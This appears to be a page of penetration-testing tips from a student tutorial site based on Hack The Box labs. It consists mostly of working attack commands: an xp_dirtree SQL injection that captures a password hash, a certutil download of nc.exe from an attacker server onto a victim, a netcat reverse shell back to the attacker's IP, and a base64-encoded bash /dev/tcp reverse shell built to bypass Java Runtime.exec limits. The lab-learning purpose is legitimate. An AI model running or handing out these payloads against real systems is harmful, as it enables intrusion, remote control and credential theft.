> For the complete documentation index, see [llms.txt](https://zflemingg1.gitbook.io/undergrad-tutorials/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zflemingg1.gitbook.io/undergrad-tutorials/useful-commands/general-tips.md).

# General Tips

Getting a reverse shell via sql injection to capture password hash - <https://0xrick.github.io/hack-the-box/giddy/>

**`EXEC MASTER.sys.xp_dirtree '\10.10.14.209\fakeshare`**

There are many ways to phrase password - ensure you check spelling

**`find . -name "*.php" -print0 | xargs -0 grep -i -n "passwd"`**

### Transferring Files to Windows Via Windows Command Execution

On Attacker PC host payload on simple webserver

![Hosting NC.exe on Attacker PC](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-MEswyvgktLvogxSNYjQ%2F-MEsxfaxEZ9NsC7AMOn8%2Fimage.png?alt=media\&token=cffff2fd-709c-4bc9-8673-5e66a4a279c5)

Next download the file on to the victims PC via RCE using certutil.

```
python exploit.py -u "admin@htb.local" -p "baconandchesse" -i "http://10.10.10.180" -c powershell.exe -a "/c certutil -urlcache -split -f http://10.10.14.34:8000/nc.exe c:/windows/temp/nc.exe"

```

![RCE on Windows Host](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-MEswyvgktLvogxSNYjQ%2F-MEsyAlKAeY4_ByHfvSi%2Fimage.png?alt=media\&token=e0cd532d-c2da-42a0-8717-55c84dd518a7)

![Log on Attcker PC Showing File Successfully Downloaded](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-MEsyQeMslhrvE5Dz_xo%2F-MEsyZXOZmC83cixqacB%2Fimage.png?alt=media\&token=354a3e2d-8135-4bf3-88da-d0a40c4dcf0f)

Next setup a listener on the attacker PC

![NC Listener on port 8090](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-MEsydw-wBuJoO3Iin3R%2F-MEsyl3dSSh22DaHUoP-%2Fimage.png?alt=media\&token=8cdda8cb-4636-4f3e-b417-a81c3ec11982)

Next on the victim PC, launch the newly downloaded nc.exe and connect back to the attacker PC.&#x20;

```
python exploit.py -u "admin@htb.local" -p "baconandchesse" -i "http://10.10.10.180" -c powershell.exe -a "/c c:/windows/temp/nc.exe 10.10.14.34 8090 -e cmd.exe"
```

![Called NC.exe](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-MEsynhmkleisefVrLBG%2F-MEsz8Sokr_ycEKb0QhS%2Fimage.png?alt=media\&token=081efae6-63f8-4049-81e6-3a7581e779b9)

![Successfully gained reverse shell](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-MEsynhmkleisefVrLBG%2F-MEszGIXukVvJVejY4Uk%2Fimage.png?alt=media\&token=a95f5535-52c7-41a3-848e-5280f1c6a68d)

## RCE Payload Workarounds:

### java.lang.Runtime.exec:

```
// RCE COMMAND
johnd@kali:~/HackTheBox$ echo 'bash -i >& /dev/tcp/10.10.14.14/8899 0>&1' | base64 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODk5IDA+JjEK

// PAYLOAD
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK=}|{base64,-d}|{bash,-i}
```